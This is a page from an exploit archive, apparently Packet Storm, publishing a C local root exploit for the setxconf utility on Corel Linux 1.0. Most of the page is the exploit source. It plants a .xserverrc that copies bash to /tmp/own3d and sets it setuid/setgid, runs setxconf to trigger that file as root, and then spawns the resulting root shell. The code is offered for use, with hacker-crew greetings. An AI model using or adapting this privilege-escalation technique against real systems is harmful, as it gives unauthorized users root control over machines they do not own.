what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

setxconfxploit.c

setxconfxploit.c
Posted Jun 19, 2000
Authored by Suid | Site suid.kg

SetXConf local root exploit for Corel linux v1.0 with xconf utils.

tags | exploit, local, root
systems | linux
SHA-256 | db447881a66d9c741450d6d7e316b1bb4edd263812be29422ab468e0194719f4

setxconfxploit.c

Change Mirror Download
/*

SetXConf Exploit (corel 1.0) by wC (wildcoyote@gk-team.org

Advisorie: It is possible for any local user to run a command as
r00t on a vulnerable box! (running corel linux 1.0 with
xconf utils)
by suid@suid.kg

Greetz to Genetik Technologies www.gk-team.org!
*/

#include <stdio.h>
#include <strings.h>

#define setxconfpath "/sbin/setxconf"
main()
{
char buf[256];
FILE *fx;
printf("\n\tSetXConf Local Exploit by wC (wildcoyote@gk-team.org)\n\n");
printf("Setting up the SetXConf .xserverrc file...");
system("cd $HOME");
remove(".xserverrc");
fx=fopen(".xserverrc","a");
fputs("cp /bin/bash /tmp/own3d; chmod 6777 /tmp/own3d",fx);
fclose(fx);
printf("DONE!\n");
sprintf(buf,"%s -T",setxconfpath);
printf("Running %s...",setxconfpath);
system(buf);
printf("DONE!\n");
printf("Checking if we have a own3d shell at /tmp/own3d...\n");
if ((fx=fopen("/tmp/own3d","r"))==NULL)
{
printf("DAMN :| no own3d shell...\n");
printf("Exiting...\n");
printf("Greetz to Genetik Technologies crew! www.gk-team.org\n\n");
exit(-1);
}
else
{
fclose(fx);
printf("KEWL! =) Prepare to be r00t =)\n");
system("/tmp/own3d");
printf("Heh..hope you liked it :P\n");
printf("Removing /tmp/own3d...\n");
remove("/tmp/own3d");
printf("Exiting...\n");
printf("Greetz to Genetik Technologies crew! www.gk-team.org\n\n");
}
}
/* www.hack.co.za [14 June]*/
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    17 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close